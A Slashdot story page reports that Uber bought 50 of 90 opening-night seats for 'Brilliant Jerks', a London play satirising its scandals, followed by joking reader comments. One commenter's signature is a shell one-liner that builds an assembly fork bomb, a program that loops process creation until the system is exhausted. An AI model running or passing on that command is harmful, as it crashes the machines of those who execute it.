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Uber Booked Half the Theater For the Opening Night of a Play Inspired By the Scandals that Took Down Former CEO Travis Kalanick (businessinsider.com)

Posted by msmash on from the pr-problem dept.

Uber booked more than half of the seats available for the London premiere of "Brilliant Jerks," a satirical play inspired by the car-ride startup's numerous scandals, and featuring a character similar to former CEO Travis Kalanick. From a report: The company purchased 50 of 90 available seats for the show's opening night at London's Vault theater, as originally reported by the Financial Times. The Financial Times reports that the play was inspired in part by the now-infamous blog post by Susan J. Fowler on Uber's toxic and sexist work culture, setting off a chain of events that ultimately led Kalanick to resign as chief executive of the company he cofounded. According to the Vault's website, "Brilliant Jerks tells the story of three people -- a driver, a coder, and a CEO -- working for one tech monolith, but living worlds apart."

16 of 33 comments (clear)

  1. That's cool by b0s0z0ku · · Score: 2

    That's cool -- they're funding a play that's mocking themselves, and the other half of the house is open. Not to mention that the empty seats can be re-sold after the show starts as no-shows. The theater can profit twice. Oh yeah, and screw Uber. Not for this, but for their business model. It's not ride-sharing or even self-driving cars. It's getting everyone into THEIR vehicles, and having the trip data tied to an identity. This data can then be easily sold to governments and marketeers.

  2. What's so fucking brilliant about Uber though? by Anonymous Coward · · Score: 1

    They have a business model to cannibalize the regulated Taxi industry and pay employees as mere contractors. They have an App. Am I missing some magic pixie dust here?

    1. Re:What's so fucking brilliant about Uber though? by Wycliffe · · Score: 1

      They have a business model to cannibalize the regulated Taxi industry and pay employees as mere contractors. They have an App. Am I missing some magic pixie dust here?

      This is pretty much capitalism as normal. Where I live a 6 bed "clinic" recently opened up. It only does profitable low risk surgeries for insured patients. Basically, it is skimming the easy cases off the regular hospital. UPS/FedEx do the same thing with the postal service. Services that are contracted to provide universal coverage like taxis, hospitals, etc.. usually charge more for certain items to make up for losing money on other items and will always be at a huge disadvantage to someone who doesn't have to play by the rules and can only take jobs that are profitable.

    2. Re:What's so fucking brilliant about Uber though? by TimMD909 · · Score: 1

      They have a business model to cannibalize the regulated Taxi industry and pay employees as mere contractors. They have an App. Am I missing some magic pixie dust here?

      The magic pixie dust is in their autonomous driving division in Pittsburgh. I see their magic robot cars all the time, and even rode in one once. It was one of the coolest birthday gifts from a friend who's an engineer at Uber's ATC.

      As an aside, I love Pittsburgh and not just because the mild winter freezes out the weaklings. We get to do fun things here while affording a 2 bedroom house with garage for around $1000 a month. Commute times are generally around 20 minutes. Whenever I hear stories about engineers making over $100k a year living in their cars, I simply can't understand.

  3. Unfortunately ... by fahrbot-bot · · Score: 2

    ... due to high demand for ride-shares that evening, most of the theater goers had to use Lyft.

    --
    It must have been something you assimilated. . . .
  4. Re:No good spin by freeze128 · · Score: 2

    "Uber buys half of the tickets for mocking play, and gives tickets to employees!"

  5. Re:HALF by fahrbot-bot · · Score: 1

    Uber Booked Half the Theater

    also...

    The company purchased 50 of 90 available seats

    Do they not teach math in schools any more?

    To be fair, Uber usually over-inflates most of their numbers, like earnings, popularity, how much their drivers actually earn ...

    --
    It must have been something you assimilated. . . .
  6. Re:No good spin by fourbadgers · · Score: 1

    if this was vegas, what do you think they would have as the odds for that being their intention?

  7. Re:HALF by PopeRatzo · · Score: 1

    When I learned these skills "half" in anywhere but a mathematics class room is an approximate concept, not an exact one.

    That's kind of half-assed.

    --
    You are welcome on my lawn.
  8. Re:HALF by afranke · · Score: 1

    By booking more than half, they effectively also booked half. These 45 booked seats are included within the set of 50 booked sits. Are you the one who maybe skipped math class?

  9. Re:Sounds familiar. by Hal_Porter · · Score: 1

    I can hear the song in my head already.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  10. Some Things Never Change by BBF_BBF · · Score: 1

    New CEO, Same *sshole company attitude as before.

  11. Re:HALF by jbengt · · Score: 1

    Sure. He can pay me for the first half of the day. And then pay me for the second half.

  12. Re:HALF by denzacar · · Score: 1

    Boy... Did YOU piss off some modpoint farming snowflakes.

    I'm guessing it was the "No chaos" joke.

    --
    Mit der Dummheit kämpfen Götter selbst vergebens
  13. Re:Sounds familiar. by Wintermute__ · · Score: 1

    Won't You - Come see about me..

  14. Re:No good spin by rhazz · · Score: 1

    Pretty good? They're anti-competitive, they aren't stupid. Do you really think that in the current media climate any company is going to intentionally try to suppress any kind of media related to sexual harassment? There's no story here.